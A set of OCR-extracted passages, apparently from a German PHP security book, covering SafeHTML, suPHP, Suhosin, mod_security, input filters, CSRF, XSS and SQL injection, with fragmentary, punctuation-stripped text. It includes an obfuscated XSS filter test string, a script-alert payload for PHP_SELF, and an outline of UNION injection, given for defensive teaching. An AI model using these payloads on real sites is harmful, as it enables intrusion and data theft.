354. n Ihr PEAR Verzeichnis um auf jeden Fall eine aktuelle Version zu haben pear install XML_HTMLSax3 Danach geben Sie den Pfad zum soeben installierten Sax3 Parser an anschlie end inkludieren und instanziieren Sie ihn define XML_HTMLSAX3 home www lib php XML require_once classes safehtml php safehtml amp new safehtml Das so instanziierte SafeHTML Objekt hat nur eine einzige Methode n mlich safehtml gt parse Mit dieser Methode wird das gesamte als String bergebene HTML geparst alle b sen Bestandteile entfernt und das so bereinigte HTML als Return Wert zur ckgegeben Erwartungsgem wird aus einem XSS gespickten Teststring dank SafeHTML ganz ungef hrliches HTML das ohne Probleme angezeigt werden kann Auch UTF 8 und diverse Verschleierungstaktiken wie sie das XSS Cheat Sheet vorschl gt bewirken keinen erfolgreichen Angriff Der folgende String dient als Test f r den XSS Filter lt IMG SRC amp 106 amp 97 amp 118 8 amp 97 amp 115 8 amp 99 amp 114 8 amp 105 amp 112 amp 116 amp 58 8 amp 97 8 amp 108 8 101 8 114 8 amp 116 8 amp 40 8 amp 39 8 amp 88 amp 83 8 amp 83 amp 39 amp 41 gt lt IMG SRC jav amp x09 ascript alert XSS gt lt LAYER SRC http absynth de x js gt lt layer gt lt LINK REL stylesheet HREF javascript alert XSS gt lt DIV STYLE background image url javascript alert XSS gt lt DIV STYLE width expression alert XSS
355. n Sie nun auch f r jeden virtuellen Host eine eigene php ini anlegen und verwalten m chten k nnen Sie mod_suphp mit der Direktive suPHP Configpath home www kundel anweisen die Umgebungsvariable PHPRC entsprechend zu setzen PHP verwendet dann beim Aufruf die Konfigurationsdatei in besagtem Ver zeichnis Untenstehend finden Sie ein vollst ndiges Beispiel f r die Konfiguration von suPHP in der httpd conf IP Adressen und Ver zeichnisse sollten Sie nat rlich noch anpassen suPHP_Engine On suPHP_AddHandler x httpd php5 suPHP_AddHandler x httpd php4 AddHandler x httpd php5 php5 AddHandler x httpd php4 php4 lt VirtualHost 192 168 0 1 80 gt DocumentRoot home www freya htdocs suPHP_UserGroup 1999 nogroup suPHP_ ConfigPath home www freya etc ServerName freya lt VirtualHost gt Wenn Sie nun den Webserver neu starten und ein kurzes Beispielskript ausf hren sollten Sie feststellen dass mod_suphp seinen Dienst tut Das Skript wird unter dem Benutzernamen ausgef hrt der in der Web server Konfiguration angegeben wurde lt php echo passthru usr bin id 2 gt uid 1999 gid 65534 nogroup Mit mod_suphp k nnen Sie nun gro e Mengen virtueller Hosts ver walten und ben tigen dabei nicht f r jeden Host ein eigenes PHP Binary Ein CGI PHP pro in der Konfiguration definiertem Handler reicht aus die setuid Aufrufe werden trotzdem korrekt ausgef hrt 10 10 2 FastCGl Bei mod_fastcgi handelt es si
356. n Webserver zu versenden Die daraus resultierenden administrativen Probleme insbesondere Eintragungen in Spam Black listen oder rechtliche Probleme gehen zulasten des Betreibers eines sol chen unsicheren Kontaktformulars Schadenspotenzial auf dem Server niedrig Ausnutzung einfach Imageschaden hoch 323 D Glossar action Attribut Dieses Attribut geh rt zu dem HTML Formularelement lt form gt In diesem Attribut wird angegeben wohin die Daten des Formulars geschickt werden sollen Apache Module Der Apache Webserver ist modular aufgebaut Durch entsprechende Module kann er beispielsweise die Kommunikation zwischen Browser und Webserver verschl sseln mod_ssl als Proxy Server eingesetzt werden mod_proxy oder komplexe Manipulationen von HTTP Headern mod_ headers und URLs mod_rewrite durchf hren API Application Programming Interface eine Schnittstelle die von einer Anwendung einem Betriebssystem oder hnlichem System f r andere Anwendungen bereitgestellt wird Bekannte APIs sind DirectX f r die Gra fikerstellung in Windows OpenGL f r die Erstellung von Echtzeit 3D Grafik und die Apache Server API eine Modulschnittstelle f r den Web server Backdoor Als Hintert r engl backdoor auch trapdoor Fallt r bezeichnet man einen vom Autor eingebauten Teil eines Computerprogramms der es Benutzern erm glicht unter Umgehung der normalen Zugriffssicherung Zugang zum Computer oder
357. n Zertifikaten Und im Gegensatz zu selbst signierten Zertifikaten der Marke Snake Oil besteht hier wenigstens noch eine theoretische Chance dass in ferner Zukunft die Zertifikats speicher der gro en Browser um CaCert Zertifikate erweitert werden Haben Sie keinen eigenen Server fragen Sie Ihren Webhoster oder Internetdienstleister er wird Ihnen gerne ggf gegen Geb hr SSL Unterst tzung f r Ihre Login Seiten und Ihren Kundenbereich einrich ten Dieser Vorgang kann jedoch recht aufwendig sein da Sie ver pflichtet sind dem Provider und der CA gegen ber Ihre Identit t nach zuweisen blich sind Kontrollanrufe bei Ihrer Firma durch die CA genaue Adress berpr fungen und die Untersuchung der Domaindaten Alle Seiten die in irgendeiner Weise mit sensiblen Daten in Ber h rung kommen sollten stets SSL gesichert sein denn nur so k nnen Sie effektiv verhindern dass Unbefugte die Ihren Netzwerkverkehr mit h ren Kundendaten abfischen k nnen 6 2 2 Behandlung von Passw rtern Die Sicherheitsrichtlinie ISO 17799 schreibt es klar vor Passwords should never be stored on computer systems in an unprotected form ISO 17799 9 2 3 Daran sollten Sie sich in jedem Falle halten und Passw rter stets nur als Hash oder mit der MySQL Funktion PASS WORD verschl sselt in einer Datenbank ablegen Damit verlieren Sie jedoch einen zentralen Vorteil im Supportfalle Verliert einer Ihrer Kunden sein Login Passwort so k nnen Si
358. n ausgehen dass mod_parmguard nicht f r Produktions umgebungen geeignet ist 12 4 1 So funktioniert s Anders als mod_security orientiert sich mod_parmguard nicht an Angriffssignaturen sondern an der Signatur Ihrer Anwendung selbst ber eine XML basierte Menge an Regeln listen Sie alle Parameter die Ihre Anwendung vom Nutzer entgegennimmt auf F r jede Variable k nnen Sie individuell den Wertebereich festlegen sodass das resultie rende XML Regelset exakt auf die von Ihrer Anwendung erwarteten F r experimentierfreudige Admins 12 Webserver Filter f r Apache Parameter passt Die dabei verwendete XML Syntax ist nicht beliebig sondern muss einer im Lieferumfang von mod_parmguard selbstver st ndlich enthaltenen DTD gen gen In dem XML Dokument werden zus tzlich auch alle zugelassenen Dateien festgelegt hnlich wie mod_security schaltet sich mod_parmguard im Web server zwischen eingehende Anfragen und weiterverarbeitende Module wie mod_php oder mod_fastcegi sodass alle Anfragen zun chst die in mod_parmguard konfigurierten Filter passieren m s sen bevor sie durch PHP geparst und interpretiert werden Auch mod_parmguard l sst also nicht zu dass Verst e gegen das Regelwerk an das PHP Subsystem und damit an eine m glicherweise verwundbare Anwendung weitergegeben werden Der beanstandete HTTP Request wird nicht an das n chste Subsystem also mod_php weitergeleitet und mit einem HTTP Statuscode beantwortet Du
359. n cookie max_array_depth 5 suhosin request max_array_index_length 64 suhosin request max_name_length 64 suhosin cookie max_totalname_length 128 suhosin request max_totalname_length 512 suhosin cookie max_value_length 200 suhosin get max_value_length 1000 suhosin post max_value_length 20000 suhosin get max_vars 200 suhosin post max_vars 200 suhosin cookie max_vars 20 suhosin upload max_uploads 10 suhosin upload verification_script pfad zu virusscan sh Beispielkonfiguration f r Suhosin 11 PHP Hardening 11 7 Fazit und Ausblick Suhosin ist ein Muss f r jeden sicherheitsbewussten Administrator Durch die Zweiteilung in Patch und Extension ist es zudem m glich lediglich die Komponente zu installieren die man w nscht Will man nur die generischen Schutzmechanismen gegen Exploits gegen den PHP Kern einsetzen dann ist der Patch ausreichend Will man nur von den vielen sinnvollen Features der Extension profitieren installiert man nur diese F r volle Sicherheit installiert man das Komplettpaket F r die Zukunft haben die Entwickler weitere Ideen in petto Dazu geh ren ein Lernmodus der nur bekannte Requests durchl sst und komplexe Filterungsm glichkeiten die hnlich wie bei mod_security siehe auch das folgende Kapitel Requests anhand von beliebig konfi gurierbaren Regeln annehmen oder ablehnen k nnen Dar ber hinaus arbeiten die Entwickler von Suhosin gerade an automatischen Audi
360. n denjenigen die die Verunstaltungen durchgef hrt haben Bilder oder Spr che hinterlassen DirectoryListing Eine Apache Konfigurationsdirektive zur Anzeige eines Verzeichnisses oder Registers Das ist eine bersichtliche meist nach bestimmten Struk turen gegliederte listenm f ige Anordnung aller Dateien und Verzeichnisse DMCA Der Digital Millennium Copyright Act ist ein Gesetz in den USA das die Rechte von Copyright Inhabern z B Film Musik oder Softwareindust rie erweitert und einen Versuch darstellt das Problem illegaler digitaler Kopien zu l sen Dabei wird auch das sogenannte Reverse Engineering also die Untersuchung von Programmcode und dessen Modifikation regle mentiert 326 D Glossar DNS Der Domain Name Service DNS ist f r die Zuordnung von Hostnamen zu IP Adressen forward DNS und von IP Adressen zu Hostnamen reverse DNS zust ndig und bildet mit dieser Funktion eine zentrale Kom ponente des Internet Document Root Das h chste Verzeichnis bezeichnet man als Wurzelverzeichnis da dieses Verzeichnis die Wurzel f r den gesamten Verzeichnisbaum darstellt Bei Webservern ist das Document Root dasjenige Verzeichnis das die Inhalte f r die Wurzel URL einer Domain enth lt Entity Code In HTML Dokumenten werden Sonderzeichen durch sogenannte Entit ten engl entities dargestellt Sie beginnen mit einem Und Zeichen amp und enden mit einem Semikolon die Zeichenfolge dazwischen
361. n ja in der Zwischenzeit mithilfe eines Proxys oder eines Plugins ver ndert worden sein Anstelle von Hidden Feldern sollte auch hier der Session Mecha nismus von PHP verwendet werden F r Formularelemente wie Aus wahlboxen Checkboxen oder Radiobuttons muss eine Whitelist berpr fung stattfinden 3 3 Angriffsszenarien und L sungen 651 Falls Sie aus irgendeinem Grund nicht auf Hidden Felder verzich ten k nnen empfehlen wir eine Verschl sselung der Daten im Hidden Feld um Manipulationen durch Dritte einen Riegel vorzuschieben 3 3 8 _Vordefinierte PHP Variablen manipulieren Viele Entwickler halten die von PHP bereitgestellten Variablen in dem superglobalen Array _SERVER f r vertrauensw rdig Das mag bei man chen Variablen richtig sein bei einigen stimmt dies aber nicht Viele der Variablen werden vom Client bermittelt Das bedeutet dass diese Variablen genauso ver ndert werden k nnen wie Formulardaten oder URL Parameter Die Variable _SERVER PHP_SELF enth lt den Namen des aktuellen Skripts Diese Variable wird h ufig in Formularen verwendet Wird an diese Variable ein lt script gt alert XSS lt script gt angeh ngt so wird dieser JavaScript Code ausgef hrt Somit ist auch auf diesem Weg ein Cross Site Scripting m glich Details hierzu erfah ren Sie im Kapitel 4 Cross Site Scripting Die Variable _SERVER HTTP_HOST enth lt den aktuellen Hostna men Bei nicht Hostname basierten System
362. n k nnen Die Datenabfrageschicht sollte so implementiert sein dass Angreifer nicht durch Tricks andere Daten als die vom Ent wickler vorgesehenen abfragen k nnen und die Ein Ausgabeschicht muss Eingaben auf Schadcode berpr fen diesen abfangen und m gli cherweise unerw nschte Ausgaben verhindern Der Vorteil an dieser Sicht der Dinge ist dass die Zusammenarbeit zwischen den verschiedenen Schichten hnlich wie im OSI Modell geregelt ist Jede Schicht kommuniziert nur mit der ihr direkt vorange henden und nachfolgenden Ebene Dadurch k nnen Entwickler und Administratoren mit der gr tm glichen Unabh ngigkeit voneinander arbeiten um ihren jeweiligen Teil der Anwendung abzusichern First und Second Order Bei Angriffen gegen andere Systeme geht man grunds tzlich von zwei verschiedenen Angriffstypen aus und zwar von direkten Angriffen der ersten Ordnung und indirekten oder Angriffen der zweiten Ordnung Ein Angriff erster Ordnung liegt vor wenn durch eine SQL Injec tion XSS was dies alles ist erfahren Sie in den folgenden Kapiteln oder eine sonstige Attacke direkte Ergebnisse geliefert werden also etwa die Liste der Administratorpassw rter aus der entsprechenden Datenbanktabelle gelesen und angezeigt wird oder JavaScript Code direkt im Kontext der angegriffenen Webseite ausgef hrt wird Angriffe erster Ordnung erlauben dem Angreifer aufgrund der Ant wort des angegriffenen Systems sein Vorgehen zu optimieren und sein
363. n m ssen Der Gro teil aller Anf ngerfehler l sst sich mit einigen grundlegenden Verhaltens und Implementie rungsregeln vermeiden und damit auch das pers nliche G stebuch sicherer gestalten Auch fortgeschrittene PHP Entwickler die bereits mittlere bis gro e Anwendungen selbst oder als Teil eines Teams entwickelt haben stehen oft vor hnlichen Problemen Sogenannter Legacy Code also gewachsene Produkte die seit langer Zeit mitgeschleppt werden strotzen oft nur so vor Sicherheitsm ngeln oder Designfehlern Und doch ist ein kompletter Rewrite oft nicht machbar also steht eine Sicherheits berpr fung des gesamten Quellcodes an Die Checklisten im Anhang helfen diese Aufgabe zu systematisieren und selbst der versierteste PHP Crack wird einige der in diesem Buch vorgestellten L cken vielleicht noch nicht kennen Der letzte Teil des Buches richtet sich an Systemadministratoren also diejenigen die unter schlecht geschriebenen und schlampig gewar teten Programmpaketen leiden und nach einem erfolgreichen oder misslungenen Hack die Aufr umarbeiten erledigen m ssen Obwohl sie meist Zugriff auf die Anwendung haben k nnen oder d rfen die PHP Neulinge Fortgeschrittene PHP Entwickler Systemadministratoren 1 Einleitung Administratoren nur selten selbst sicherheitskritische nderungen durchf hren Um Schaden abzuwenden m ssen also die Webserver so konfiguriert werden dass ein Angreifer auch ein sehr un
364. n sicherer gemacht werden ein kompletter Schutz ist aber nahezu unm glich Trotzdem sollten alle erdenklichen Mittel zum Schutz ergriffen wer den denn ein Imageverlust bzw ein Datenklau durch eine Session Attacke rechtfertigt den Entwicklungsaufwand f r diese Sicherheits mechanismen auf jeden Fall Die Datei exit php Generierung eines Links 187 8 Upload Formulare Ungesicherte Datei Upload Formulare lassen h ufig das Hoch laden von schadhaftem PHP Code zu In diesem Kapitel wird aufgezeigt welche M glichkeiten ein Angreifer benutzen kann um PHP Code auf den Server zu bringen und wie man diese M glichkeiten verhindern kann 8 1 Grundlagen Upload Formulare sind Formulare die es Benutzern erlauben Dateien auf einen Server hochzuladen Das kann nat rlich zu schlimmen Sicherheitsl cken f hren wenn ein Entwickler den Benutzern seiner Applikation zu sehr vertraut Egal ob nun in einem Intranet oder im Internet Formulardaten m ssen berpr ft werden Dies gilt besonders f r hochgeladene Dateien F hrt hier ein Benutzer B ses im Schilde kann dieser auf den Ser ver jegliche Datei hochladen vorausgesetzt es werden die Parameter nicht richtig berpr ft Diese Dateien k nnen Commandshells Root kits oder auch irc bots sein die den Server nach drau en ffnen oder ihn f r Angriffe auf andere Server missbrauchen k nnen 82 Aufbau eines Upload Formulars Ein Upload Formular sieht in den meisten F llen f
365. n stets und ausschlie lich auf die Request Methode POST zur ckgreifen Zum einen k nnen Sie so viele Angriffe wie z B pr parierte Links mit XSS Attacken von vornherein ausschlie en zum anderen vermeiden Sie die unabsichtliche Ver ffent lichung von Informationen Schlie lich wird der komplette Query String im Webserver Log mitgeschrieben und Auswertungs und Sta tistiksoftware k nnte diesen Query String an einer f r andere Benutzer zug nglichen Stelle ver ffentlichen Fin weiteres Problem stellen Web proxies dar die unter Umst nden v llig transparent also f r den Nutzer nicht feststellbar s mtliche GET Anfragen zwischenspei chern POST Requests hingegen werden grunds tzlich nicht in Webca ches abgelegt Zus tzlich zur geeigneten Wahl der Request Methode sollten Sie stets die superglobale Variable _POST benutzen und sich nicht auf das vermeintlich bequemere REQUEST verlassen Denn auch wenn das eigentliche Login Formular die Methode POST verwendet Sie aber in Ihrer Validierungsroutine eine Variable aus REQUEST abfragen und eventuell anzeigen so kann ein Angreifer auch per GET Werte an Ihr Formular bergeben Diese Nachl ssigkeit hat bereits bei einigen PHP basierten Anwendungen zu teilweise kritischen Sicherheitsl cken gef hrt etwa bei dem Servermonitoring Tool cacti das zwar umfangreiche Sicherheits und S uberungsaktionen f r die in _GET enthaltenen Vari 11 http www cacti net Richtige
366. n wird SecRule ARGS validateByteRange 1 255 Mit den Operatoren validateDTD und validateSchema k nnen Sie in einer speziellen Variablen enthaltenes XML siehe Abschnitt 12 3 8 2 auf Validit t bez glich einer DTD bzw eines XML Schemas pr fen Dabei ist der jeweilige Dateiname dem Operator als absoluter Pfad zu bergeben Zwei weitere Operatoren n mlich validateUrlEncoding und validateutf8Encoding stellen sicher dass der Inhalt der zu pr fenden Variablen korrekt URL bzw UTF 8 codiert ist 12 4 mod_parmguard Das von Jerome Delamarche entwickelte Apache Modul mod_parm guard verfolgt einen anderen Ansatz als mod_security Anstelle des pragmatischen Blacklist Ansatzes bei dem alle Filter ber regul re Ausdr cke konfiguriert werden legt mod_parmguard Wert auf einen formal richtigen Whitelist Ansatz und verwendet f r die Konfigura tion XML Dateien Bei richtiger Verwendung und entsprechender Vorarbeit entsteht so eine anwendungsspezifische Whitelist Als dieses Kapitel geschrieben wurde war mod_parmguard noch in einer recht fr hen Entwicklungsphase und hatte einige gr ere und kleinere Fehler Die Weiterentwicklung des Apache Moduls scheint zudem momentan zu stocken seit Ende 2006 sind keine aktualisier ten Versionen mehr ver ffentlicht worden Da das Projekt und der ihm zugrunde liegende Ansatz jedoch sehr vielversprechend aussehen wollten wir Ihnen dieses Modul nicht vorenthalten Sie sollten jedoch stets davo
367. nd ist in praktisch jeder PHP Instal lation verf gbar Allerdings kann jeder Angreifer diese Schutzma nahme leicht umgehen Sein PHP Skript liefert dem Forenserver ein fach ein g ltiges Bild und allen anderen Anwendern pr sentiert es den CSRF Angriff Obgleich der Ansatz per getimagesize alle von extern verlinkten Bilder zu berpr fen somit auch nicht sicher ist ist er extrem leicht zu implementieren und h lt zumindest die ungeschicktesten Angreifer davon ab Ihr Forum mit CSRF Attacken heimzusuchen Sie sollten also jede per BBCode in Ihrem Forum gepostete Bild URL mit getimagesize http www externerserver de images bild jpg auf m gliche CSRF Angriffe untersuchen sich aber stets dar ber im Klaren sein dass diese Ma nahme nur einige mit Sicherheit aber nicht die gewitzteren Angreifer abhalten kann 4 18 4 CSRF Schutzmechanismen Um ihre Applikationen wirksamer davor zu sch tzen Opfer von CSRF Angriffen zu werden m ssen Sie stets sicherstellen dass der Inhalt von GET oder POST Requests auch tats chlich vom Benutzer absichtlich losgesandt und nicht etwa automatisch vom Browser durch eingebettete externe Ressourcen z B Bilder Stylesheets oder Java Script ausgel st wurde Hierf r existieren eine Reihe von unterschied lichen Ans tzen die sich alle in ihrer Nutzerfreundlichkeit unterschei den Sie basieren aber alle darauf dass zus tzlich zu den eigentlichen 4 Cross Site Scripting Formulardaten e
368. ndere Variab len auch nachtr glich mit einem Variablenfilter untersucht werden s6 9 Variablenfilter mit ext filter 9 2 Installation Verwenden Sie PHP 5 2 0 oder eine neuere Version m ssen Sie nichts weiter tun Ihr PHP enth lt die Filter Extension bereits und sie ist akti viert Ist das jedoch nicht der Fall k nnen Sie f r ltere PHP Versio nen die Extension aus PECL nachinstallieren Ist Ihr PHP lter als 5 1 0 bzw verwenden Sie noch PHP 4 kommen Sie leider nicht in den Genuss der neuen Extension die notwendigen nderungen am PHP Kern wurden erst in Version 5 1 0 eingef hrt M chten Sie ext filter aus PECL nachinstallieren k nnen Sie das entweder automatisch mit dem Kommando pecl install filter oder manuell erledigen wget http pecl php net get filter tar xzf filter cd filter 0 11 0 phpize configure make make install In beiden F llen m ssen Sie nach der Installation die Extension von PHP laden lassen das erledigen Sie mit einem Eintrag in der php ini extension filter so Nach einem Webserver Neustart k nnen Sie die neuen Filterfunktio nen nutzen 93 Die Filter API Im Gegensatz zu vielen anderen PHP Fxtensions die f r verschiedene Features eigene Funktionen implementieren z B ImagePNG ImageJ PEG etc bei GD kommt ext filter mit insgesamt nur sieben Funktio nen aus von denen nur vier f r das tats chliche Filtern verwendet wer den Diese vier Funktionen unterteil
369. nderen teilen Auch der Internet Explorer 7 unterst tzt dieses Feature fragt jedoch den Benutzer ob er den Zugriff auf die Zwischenablage wirk lich erlauben will Aktuelle wie ltere Versionen von Firefox erlauben nie einen Zugriff auf die Zwischenablage per JavaScript 4 14 XSS Angriffe ber DOM Mit dem Document Object Model hat das World Wide Web Con sortium W3C eine einheitliche Schnittstelle f r die Interaktion zwi schen Skriptsprachen wie JavaScript und ActionScript und dem Inhalt von Webseiten spezifiziert Mit dieser Schnittstelle kann ein Weben twickler beliebige Ver nderungen an Elementen eines HTML Doku ments vornehmen indem er in einer Baumstruktur das Element direkt anspricht Ist ein PHP Skript f r XSS Angriffe anf llig k nnen vom Angrei fer auch s mtliche Manipulationen am DOM Baum des Dokuments ausgef hrt werden Diese M glichkeit ist verlockend da so praktisch alles m glich ist was das Crackerherz begehrt Von tempor ren Defacements per XSS ber dynamisch ver nderte Links und Formular felder bis hin zum vollautomatischen Passwortklau und der nderung von Benutzerdaten ist praktisch alles m glich Wie bereits in einem der vorigen Abschnitte erw hnt kann ein geschickter Angreifer das DOM und die Passwort Safe Funktionen moderner Browser dazu nutzen einem unkundigen Anwender sein Pass wort abzujagen ohne dass dieser eine Chance hat das zu verhindern Dazu muss er eine XSS L cke auf einer
370. nelle Crackergruppen nutzen automatisierte Tools um massenhaft Schwachstellen in PHP Anwendungen auszunutzen sich Zugang zu Webservern zu verschaffen und diese zu kriminellen Handlungen wie Spam Phishing Denial of Service oder gar illegaler Pornographie zu missbrauchen Riesige Botnetze gehackter Server und Clientrechner erwarten die Befehle ihrer mafi s organisierten Beherrscher Obgleich es derlei Aktivit ten in engen Grenzen schon vor der ersten Auflage dieses Werkes gab ist die Professionalit t Organi sationsdichte und programmiertechnische F higkeit der Angreifer stark gewachsen In zum Gl ck st rkerem Ma e als Hacker Cracker und Bauern f nger ist PHP den Kinderschuhen entwachsen dar ber besteht weit gehend Einigkeit Anders als bei konventionellen Programmierspra chen wird allerdings in der Netz ffentlichkeit die Qualit t einer Sprache nach wie vor an der Qualit t der Anwendungen gemessen So hat das Website Management System PHP Nuke dem Ruf der Sprache PHP durch seine zahlreichen Sicherheitsl cken nicht unerheblich geschadet hnlich wie das ber chtigte formmail p1 in Perl das sprich w rtliche Negativbeispiel ist Das scheint ungerecht schlie lich wird C auch nicht f r Fehler in Windows verantwortlich gemacht oder Assembler f r Bugs im Interrupt Handling des Linux Kernels beschul 1 http www viruslist com en viruses encyclopedia virusid 68388 2 http www heise de newsticker meldung 50516 3 htt
371. nem PHP IDS machen Die Einstellungsm glichkeiten orientieren sich hier an dem Modell das PHP selber vertritt bieten aber noch einige zus tzliche Optionen die vom Administrator zur Fr herken nung von Angriffen und zur automatischen Ergreifung geeigneter Gegenma nahmen genutzt werden k nnen Zun chst sollten Sie sich jedoch darauf konzentrieren eine m g lichst aussagekr ftige und bersichtliche Log Datei f r alle erkannten Angriffe zu bekommen Dazu k nnen Sie alle auftretenden Probleme in Fehlerklassen unterteilt an verschiedene Logging Facilities also Log Nachricht entgegennehmende Stellen senden Fehler die auf eine Speicherkorruption hindeuten werden in jedem Fall ins Syslog also die systemeigene Log Datei geschrieben denn es ist nicht gesagt dass 264 11 PHP Hardening Tab 11 1 Fehlerklassen in Suhosin das Webserver Log oder ein externes Skript noch aufgerufen werden k nnen bevor der Angriff einen Speicherzugriffsfehler und den Absturz des angegriffenen Apache Kindprozesses verursacht Insgesamt existieren zehn verschiedene Fehlertypen in Suhosin Fehlerkonstante Bitmaske Beschreibung Speicherfehler Canary Verst e und der Du i Unlink Schutz erzeugen diesen Fehlertyp Angriffe gegen Format String L cken und andere S_MISC 2 Fehler die nicht in eine der anderen Klassen passen geh ren in diese Fehlerklasse Verst e gegen die Variablenfilter werden mit SVA
372. nen Datenfelder hinweisen oder uns mitteilen dass wir den falschen Datentyp auslesen Im folgenden Abschnitt sehen Sie ein paar einfache Techniken um so einen Angriff durchzuf hren Wichtig hierbei ist Alle ge ffneten Klammern m ssen geschlossen sein bevor wir eine UNION Injection einf gen k nnen Wenn diese Voraussetzung geschaffen ist k nnen wir nun versuchen eine g ltige UNION Injection in das SQL Statement einzuf gen Das UNION SELECT Statement muss die gleiche Anzahl an ausgelese nen Datenspalten und f r MS SQL oder Oracle die gleichen Feldtypen haben wie das Original SQL Statement ansonsten f hrt die Abfrage zu einem Fehler Um einen Angriff mit UNION erfolgreich durchzuf hren ben tigt man die Namen der Tabellen Entweder der Angreifer kennt diese da es sich um ein Open Source Programm handelt oder er err t sie ein fach Als Schutz dagegen wurde lange Zeit empfohlen bei der Installa tion zuf llige Pr fixe f r die Tabellennamen festzulegen damit ein Angreifer keine g ltigen Tabellennamen ermitteln kann und damit seine SQL Injections ins Leere laufen Diese Empfehlung funktionierte Das UNION SELECT Statement Klammern richtig schlie en 34 5 SQL Injection Fehlermeldungen bei falscher Anzahl der Datenspalten ORDER BY auch sehr gut solange keine Fehlermeldungen ausgegeben wurden aus denen sich die Pr fixe ermitteln lie en Seit MySQL 5 0 ist damit jedoch Schluss da es nun die virtue
373. nen Integerwert F r diese Formatangaben gibt es nur vier Werte Formatstring Datentyp l Alle Integer Werte Double oder Float Werte BLOBs 0 w oO Strings 5 5 4 Stored Procedures Stored Procedures sind ein neues Feature in MySQL 5 0 Bei ande ren Datenbanksystemen sind diese schon seit Jahren implementiert Eine Stored Procedure ist eine Reihenfolge von SQL Statements die auf dem Server gespeichert werden k nnen Die Clients k nnen dann auf diese Stored Procedure zugreifen ohne sich um die einzelnen State ments k mmern zu m ssen Banken zum Beispiel benutzen h ufig Stored Procedures f r ein konsistentes und sicheres Datenbankumfeld Jede Stored Procedure wird bei der Ausf hrung mitgeloggt In diesem sicheren Umfeld hat ein Benutzer keine M glichkeit direkt auf eine Datenbanktabelle zuzugreifen Er kann nur die gespeicherten Stored Procedures verwenden vorausgesetzt die Rechte in der Datenbank sind f r alle Benutzer richtig konfiguriert Zus tzlich kann man sich als netten Nebeneffekt noch ber einen Geschwindigkeitsvorteil freuen da nicht zu viele Daten an den Server bertragen werden Der Datentyp der Parameter wird in der Stored Procedure festgelegt Ein automatisches Casten wird hier von MySQL nicht durchgef hrt Au erdem kann mit einfachen If Abfragen eine berpr fung in der Stored Procedure stattfinden DELIMITER DROP PROCEDURE IF EXISTS shopping checkUserLogin CR
374. nfalls alle Manipulationsm glichkeiten die f r Parameter gelten Der Java Seript Code kann mittels eines Proxys oder eines entsprechenden Browser Plugins siehe Abschnitt 3 2 1 ver ndert werden Somit ist die clientseitige Validierung nie eine alleinige Pr fungsm glichkeit f r Variablen oder Formularinhalte Sie kann lediglich als Zusatz gesehen werden Die endg ltige Validierung sollte immer am Server geschehen Dazu k nnen die in diesem Kapitel erkl rten Mechanismen verwendet werden Clientseitige Validierung erh ht die Usability ist aber keine Schutzm glich keit gegen Parametermanipulation 35 register_globals Manche Konfigurationsoptionen von PHP werden als gef hrlich ange sehen was aber nicht der Wahrheit entspricht Gef hrlich werden diese Optionen nur im Zusammenhang mit Schwachstellen die sich in Applikationen befinden PHP in seiner Grundkonfiguration bietet durchaus Anlass f r sicherheitstechnische Diskussionen was Konfigurationseinstellungen anbelangt Die Datei php ini dist die jedem PHP Quellarchiv bei liegt wird von den meisten Anbietern von Linux Distributionen eben falls als Basis f r ihre PHP Version verwendet und dient somit auch als Grundlage f r die folgenden Betrachtungen 76 3 Parametermanipulation Uninitialisierte Variablen Urspr nglich verwendeten PHP Programmierer den register glo bals Mechanismus um auf Variablen zuzugreifen die aus dem User Bereich kamen In dies
375. ng die eine g ltige E Mail Adresse voraussetzt genutzt und ist in Kapitel 6 beschrieben Um jedoch auszuschlie en dass Ihre Anwendung sich von ung lti gen Mailadressen in die Irre f hren l sst existiert der Filter FILTER_VALIDATE_EMAIL Er wird ohne Flags oder Optionen verwendet und pr ft die korrekte Syntax nicht aber die Erreichbarkeit M chten Sie diese testen f hrt kein Weg am Versand einer E Mail vorbei alle anderen Ans tze etwa ber die Abfrage der MX Eintr ge einer Domain oder hnliches sind nur Notl sungen Eine Syntaxpr fung f r Mailadressen wird wie folgt durchgef hrt filter_var chris php sicherheit de FILTER_VALIDATE_EMAIL 9 10 Reinigende Filter 205 9 10 Reinigende Filter Im Gegensatz zu den validierenden Filtern die ung ltige bergabepa rameter nicht ver ndern sondern FALSE zur ckgeben sind die sani tizing Filter dazu gedacht Eingabewerte zu reinigen und f r den intendierten Einsatzzweck vorzubereiten Sie werden hnlich ausge f hrt wie ihre pr fenden Gegenst cke hei en jedoch anders In der Regel teilen sich die reinigenden Filter die Flag Konstanten mit den validierenden Filtern und auch die Behandlung von Optionen ist meist hnlich daher wird im Folgenden nicht weiter auf sie einge gangen 9 11 Pr fung externer Daten Variablen erst dann zu pr fen wenn sie sich bereits innerhalb Ihrer PHP Anwendung befinden ist konzeptbedingt weniger sicher als sie erst
376. ngaben wie der verwendete Zeichensatz oder die L nge des enthaltenen Contents Am Ende des Pakets steht nun schlie lich der Content also der HTML Code der vom Browser interpretiert und angezeigt wird Die Header Angaben Set Cookie in der Response des Servers wei sen den Client an ein Cookie f r diese Domain zu speichern und dieses bei jedem Request wieder an den Server zu senden Das Cookie kann entweder sessionbasiert bis zum Schlie en des Browsers oder perma nent f r eine bestimmte Zeit vom Client gespeichert werden Ein Angreifer kann nun die Parameter in den Paketen mithilfe eines Proxys der zwischen Client und Server geschaltet wird mit selbst geschriebenen Werkzeugen oder mit einem entsprechend aufge r steten Browser beliebig ver ndern So kann das Verhalten der Appli kation oder Webseite beeinflusst werden Die Angriffe k nnen zu Ver nderungen an der Webseite zum Auslesen von sensiblen Daten oder zur nderung von Daten aus einem Datenspeicher wie z B einer MySQL Datenbank f hren Eine SSL Verschl sselung bietet zwar Schutz gegen das Mith ren der HTTP Pakete dennoch werden die Daten lokal auf dem Ser ver oder dem Client entschl sselt um diese zu interpretieren Das bedeutet dass die Daten durch eine SSL Verschl sselung nicht vali Cookie Speicherung Werkzeuge zur Request Erzeugung SSL ist hier kein Schutz as 3 Parametermanipulation Ver nderung von GET POST und Cookie Daten die
